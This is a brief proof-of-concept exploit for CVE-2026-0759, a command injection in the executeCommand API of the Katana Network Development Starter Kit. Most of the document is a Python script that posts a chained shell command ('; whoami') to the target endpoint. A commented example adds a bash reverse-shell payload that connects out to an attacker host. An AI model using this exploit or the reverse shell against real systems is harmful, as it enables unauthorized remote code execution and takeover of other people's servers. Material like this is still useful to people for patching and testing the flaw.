CVE-2026-0759: Katana Network Development Starter Kit executeCommand命令注入远程代码执行漏洞

import requests # CVE-2026-0759 PoC - Command Injection in Katana Network Development Starter Kit # Target: Katana Network Development Starter Kit executeCommand endpoint target_url = "http://target:8080/api/executeCommand" # Malicious payload to inject OS command # Using command chaining to execute arbitrary command payload = { "command": "; whoami > /tmp/pwned.txt" } try: response = requests.post(target_url, json=payload, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") # Reverse Shell Payload Example # payload = {"command": "; bash -i >& /dev/tcp/attacker_ip/port 0>&1"} # requests.post(target_url, json=payload)